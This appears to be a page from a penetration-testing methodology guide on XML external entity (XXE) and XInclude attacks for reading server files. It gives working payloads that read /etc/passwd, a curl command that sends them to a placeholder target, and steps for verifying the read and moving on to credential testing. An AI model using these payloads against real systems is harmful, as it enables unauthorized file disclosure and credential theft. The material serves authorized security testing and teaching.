Use an XML parser's external-entity behavior for bounded file read
Needs: External entity or XInclude processing is enabled and the parser identity can read the selected file
Example body for an XML-compatible endpoint
<!-- Example body for an XML-compatible endpoint -->
<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>
Shell commands
# Baseline
curl -i -b cookies.txt -H 'Content-Type: application/xml' \
--data-binary @xxe.xml http://TARGET:PORT/PATH
XML
<!-- Baseline -->
<value xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</value>
A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.
Verify → Require recognizable file content or a uniquely correlated parser-side event, not an echoed request.
If it fails → DTD rejection, unresolved entities or no network effect rules out only that parser/configuration route; preserve the working XML baseline. More detail ↓
Explanation & examples
Use an XML parser's external-entity behavior for bounded file read
- USE WHEN
- A working XML request reaches a server-side parser that accepts a controlled document or field
- STARTING ACCESS
- A reproducible application request and a controlled input or access-context comparison
- RESULT
- A verified parser-side file read or a precisely bounded blind parser/network effect
Recognize the clue
Start from a valid XML request and place an external-entity reference in a field whose parsed value is returned.
curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH
Response field: recognizable local system-file bytesMeans: The server parser resolved the entity and read the selected file under its process identity.
Confirm: Repeat with a benign control and preserve the exact parser/content-type context.
- After validation
- Recognizable content or a uniquely correlated parser event appears: use the bounded file/network primitive.
- Ruled out in this context
- The parser rejects DTDs/entities: reject that entity path in this configuration.
- Still inconclusive
- Echoed XML or a generic parser error does not establish entity resolution.
Troubleshooting: DTD rejection, unresolved entities or no network effect rules out only that parser/configuration route; preserve the working XML baseline.
Use a working XML request and put the entity reference in a field whose parsed value is returned. Retain the original wrapper, cookies and endpoint. Example body for an XML-compatible endpoint:
Read: recognizable file content in the parsed field proves read access; echoing the submitted XML does not. Choose a platform-appropriate file; Windows can use file:///C:/Windows/win.ini. DTD rejection or unresolved entities → check the parser's actual configuration, not more traversal depth.
If the application builds XML around your input and processes XInclude, a separate condition can exist without control over the document's DOCTYPE:
A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.
Sources: upstream 1.
Why it works
The application must parse and resolve the entity; reflected XML, client-side parsing or DTD text alone does not establish file access.
Worked example · hypothetical
Observation: an endpoint accepts XML and returns a parsed field. Test: place a local-file entity in that field. Illustrative output: recognizable system-file bytes appear. Interpretation: file read is proven under the parser identity.
New identity, privilege, host or route? Re-enumerate → All topic tasks →